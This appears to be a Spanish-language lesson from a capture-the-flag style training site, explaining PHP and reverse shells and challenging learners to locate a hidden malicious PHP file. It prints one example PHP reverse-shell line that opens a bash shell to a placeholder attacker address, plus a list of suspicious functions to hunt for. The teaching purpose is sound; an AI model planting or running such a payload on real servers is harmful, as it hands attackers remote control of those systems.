← Regresar a lecciones

En la sombra del código - cazando la reverse shell

PHP: el lenguaje del servidor web

En la ciberseguridad, no todo es visible ni tangible a simple vista, a veces, el peligro está oculto en líneas de código aparentemente inocentes, esperando el momento justo para abrir una puerta trasera. Hoy aprenderás a ser un cazador en esa sombra.

Este desafío te invita a descubrir un payload malicioso escondido dentro de un sitio web básico hecho en PHP. Tu misión es encontrar la ruta absoluta de esa amenaza oculta.

PHP: el lenguaje del servidor web

PHP (Hypertext Preprocessor) es uno de los lenguajes de programación más usados en la web. Es un lenguaje interpretado que corre del lado del servidor y genera páginas web dinámicas. Cada vez que visitas un sitio con contenido dinámico, es muy probable que haya PHP detrás.

¿Para qué se usa PHP?

  • Crear páginas web que interactúan con bases de datos
  • Generar contenido dinámico según usuario o contexto
  • Manejar formularios y sesiones
  • Construir APIs y servicios web

Arquitectura cliente-servidor

En la web, todo es un juego de roles:

  • Cliente: el navegador que solicita información (tú)
  • Servidor: la máquina que procesa la solicitud, ejecuta PHP y envía la respuesta

El servidor ejecuta el código PHP y devuelve el resultado en HTML para que el cliente lo muestre. La comunicación ocurre mediante protocolos como HTTP o HTTPS.

¿Qué es una shell inversa?

Una shell inversa (reverse shell) es una técnica usada por atacantes para obtener control remoto sobre un servidor o equipo comprometido.

En vez de que el atacante se conecte directamente al servidor (lo que puede estar bloqueado por firewalls), es el servidor quien se conecta al atacante, abriendo un canal de comunicación donde el atacante puede ejecutar comandos como si estuviera en la terminal local.

¿Para qué se usa una shell inversa?

  • Mantener acceso remoto encubierto
  • Evadir firewalls o restricciones de red
  • Controlar sistemas comprometidos para robar información, modificar archivos o moverse lateralmente

Cómo se ve un payload de reverse shell en PHP

Un payload de reverse shell en PHP es, en esencia, código que ejecuta comandos del sistema operativo y abre conexiones de red hacia un atacante.

Un ejemplo básico (sin spoilers) podría ser:

1<?php 2exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); 3?>

Este código ejecuta una shell interactiva que se conecta al atacante en la IP y puerto especificados.

¿Cómo identificar un payload malicioso?

  • Archivos PHP que contienen funciones sospechosas: exec(), shell_exec(), system(), passthru(), popen(), proc_open()
  • Código ofuscado o inyectado (uso excesivo de base64_decode(), eval())
  • Archivos o rutas no documentados o fuera de lugar en la estructura del sitio
  • Presencia de conexiones de red salientes inusuales

Tu objetivo no es solo entender qué es PHP ni qué es una shell inversa. Tu reto es analizar el código, detectar dónde puede estar ese payload, y determinar la ruta absoluta del archivo malicioso.

Este es el día para que afiances tu mirada analítica y tu paciencia, para que el silencio de las líneas de código te revele lo que un atacante quiso esconder.